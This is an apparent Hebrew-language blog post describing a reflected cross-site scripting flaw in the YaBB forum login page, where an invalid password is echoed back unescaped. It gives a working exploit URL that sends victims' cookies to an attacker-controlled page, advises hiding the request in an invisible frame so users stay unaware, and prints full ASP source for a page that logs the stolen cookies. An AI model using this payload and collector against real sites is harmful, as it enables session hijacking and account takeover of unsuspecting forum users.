XSS Vulnerability בתהליך ההתחברות אל המערכת

בתהליך ההתחברות אל המערכת, אם אנחנו מקישים שילוב של שם משתמש/סיסמא לא תקפים, המערכת מציגה את השם והסיסמא שהקשנו. כמו כן, תגים של HTML אינם מנוקים משדה הססמא המוצג.

למשל, אם נכניס בתור שם משתמש את השם YaBB ובתור ססמא נכתוב 123<B>HERE</B>123 נקבל את התוצאה הבאה:





עובדות אלו יוצרות חור אבטחה: אי סינון תגי ה-HTML מאפשר לנו לכתוב קוד HTML/JavaScript זדוני שיופיע כחלק מהדף.

מרגע שהתגלה חור אבטחה זה, גניבת ה-cookie של משתמשים בפורום היא משימה פשוטה.

השיטה לכך היא ליצור XSS Vulnerability באתר המטרה, שיגרום לו לשלוח את ה-cookie של המשתמש אל אתר אחר שניצור (למשל אתר מבוסס ASP), שיאגור את ה-cookies הנאספות.

שימוש אפשרי הוא שליחת משתמשים אל כתובת כגון הכתובת הבאה:

http://target.com/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORDwindow.location.href(%22http://www.oursite.com/hack.asp?%22%2Bdocument.cookie)

יתר על כן, הפניית משתמש כלשהו לכתובת זו עלולה להעלות חשד אצל אותו משתמש. לפיכך, נוכל לפעול גם בצורה הבאה: ניצור דף לו תהיה מסגרת (frame) בלתי נראית, שתבצע הפנייה אל דף זה.

בצורה כזו, המשתמש כלל לא יהיה מודע שה-cookie שלו נשלח אל התוקף.

הערה: מערכת הפורומים איננה מאפשרת לנו להשתמש בתווים "=" או "%3d" כחלק מהססמא, ולכן איננו יכולים להשתמש במתודה request("data") בקובץ ה-ASP שניצור על מנת לאסוף את הססמא.

(כי אז היינו צריכים לשים את המחרוזת "data=" כחלק מהכתובת).



כעת נביט בדף האוגר את ה-cookies. דף אפשרי יכול להיות הדף הבא:

' file name: hack.asp

<%
Const ForAppending = 8
Const Create = True
Dim MyFile
Dim FSO ' FileSystemObject
Dim TSO ' TextStreamObject
Dim Str
Str = Request.ServerVariables("QUERY_STRING")
MyFile = Server.MapPath("./db/log.txt")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.OpenTextFile(MyFile, ForAppending, Create)
if (Str <> "") then TSO.WriteLine Str
TSO.close
Set TSO = Nothing
Set FSO = Nothing
%>
<HTML>
<BODY>
You have just been hacked.
</BODY>
</HTML>

הדף הנ"ל כותב את תוכן המשתנה Request.ServerVariables("QUERY_STRING"), המכיל את כל המחרוזת המופיעה לאחר ה"?", אל קובץ log, השומר את ה-cookies.



תגיות המסמך:

אין תגובות!
שיתוף:
| עוד